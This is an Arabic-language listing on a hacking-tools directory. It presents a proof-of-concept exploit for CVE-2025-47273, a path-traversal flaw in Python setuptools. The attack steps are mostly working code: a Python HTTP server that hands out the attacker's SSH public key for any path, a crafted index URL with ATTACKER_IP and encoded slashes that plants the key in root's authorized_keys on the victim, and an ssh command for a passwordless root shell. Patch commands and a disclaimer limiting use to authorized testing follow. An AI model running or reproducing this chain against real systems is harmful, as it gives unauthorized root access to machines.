Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2025-47273-POC — CVE-2025-47273 — إثبات مفهوم لاجتياز المسار في setuptools | Kitploit
أدوات/GitHubGitHub/alielkhatteb/cve-2025-47273-poc
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقأمن سلسلة التوريدالتعلم والتعليم
GitHubalielkhatteb/cve-2025-47273-poc

CVE-2025-47273-POC

CVE-2025-47273 — إثبات مفهوم لاجتياز المسار في setuptools

عرض المستودع
11منذ 5 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

ثغرة اجتياز المسار في setuptools CVE-2025-47273

📖 نظرة عامة

استغلال لإثبات المفهوم لثغرة اجتياز المسار في Python setuptools < 78.1.1.

من خلال إساءة استخدام وظيفة _download_url في مكون PackageIndex، يمكن للمهاجم كتابة ملفات عشوائية في أي موقع على نظام الملفات — بامتيازات العملية التي تشغل setuptools.


🎯 ملخص الثغرة

الحقلالتفاصيل
🎯 الهدفPython setuptools < 78.1.1
🐛 فئة الخطأاجتياز المسار (CWE-22)
💥 التأثيركتابة ملف عشوائية
📍 ناقل الهجومعنوان URL لصفحة فهرس حزمة خبيثة
🔍 السبب الجذريos.path.join() يتجاهل tmpdir عندما تبدأ الوسيطة الثانية بـ /

📋 المتطلبات الأساسية

  • Python 3 على كلا الجهازين
  • زوج مفاتيح SSH تم إنشاؤه مسبقًا على المهاجم (~/.ssh/id_rsa + id_rsa.pub)
  • البرنامج النصي المستهدف يستدعي PackageIndex من setuptools بعنوان URL يتحكم فيه المستخدم

🚀 الاستخدام

🔧 الخطوة 1 — تجهيز مفتاح SSH العام (جهاز المهاجم)

root@kitploit:~
# Copy your public key to the current directory to serve it
cp ~/.ssh/id_rsa.pub authorized_keys

📡 الخطوة 2 — بدء خادم HTTP الخبيث (جهاز المهاجم)

يستجيب هذا الخادم لأي طلب GET بمفتاحك العام — بغض النظر عن المسار. سوف يطلب setuptools المسار /USER/.ssh/authorized_keys ولكنه سيتلقى محتوى مفتاحك.

root@kitploit:~
cat > python_server.py << 'EOF'
import http.server
import socketserver

class Handler(http.server.SimpleHTTPRequestHandler):
    def do_GET(self):
        # Serve authorized_keys regardless of path requested
        self.send_response(200)
        self.end_headers()
        with open("authorized_keys", "rb") as f:
            self.wfile.write(f.read())

with socketserver.TCPServer(("", 80), Handler) as httpd:
    httpd.serve_forever()
EOF

python3 python_server.py

💥 الخطوة 3 — تشغيل اجتياز المسار (جهاز الضحية)

root@kitploit:~
ATTACKER_IP="192.168.1.20"
TARGET_USER="root"

sudo python3 /path/to/vulnerable_script.py \
  "http://${ATTACKER_IP}/%2f${TARGET_USER}%2f.ssh%2fauthorized_keys#egg=evil-1.0"

👾 الخطوة 4 — تسجيل الدخول كجذر (جهاز المهاجم)

root@kitploit:~
ssh root@VICTIM_IP

لا كلمة مرور. شل جذر مباشر. 🔑


🔒 التصحيح

الإصدار 78.1.1 يصلح المشكلة.

مدير الحزمالأمر
🐍 pippip install --upgrade setuptools
🐧 Debian/Ubuntusudo apt upgrade python3-setuptools
🎩 RHEL/Fedorasudo dnf upgrade python3-setuptools
🏗️ يدويsetuptools releases

📎 المراجع

  • 🔗 NVD — CVE-2025-47273

  • 🔗 تنبيه GitHub — GHSA-5rjg-fvgr-3xxf

  • 🔗 التزام إصلاح setuptools

  • 🔗 إثبات المفهوم setuptools


⚖️ إخلاء المسؤولية والشروط

يتم توفير كود إثبات المفهوم (PoC) هذا لأغراض تعليمية واختبار الاختراق المصرح به فقط.

  • لا يُمنح أي إذن لتعديل أو إعادة توزيع أو استخدام هذا الكود لأغراض أخرى.
  • قد يكون الاستخدام أو التعديل غير المصرح به غير قانوني وغير أخلاقي.
  • لا يتحمل المؤلفون أي مسؤولية عن أي سوء استخدام أو أضرار.
تنزيل الأداة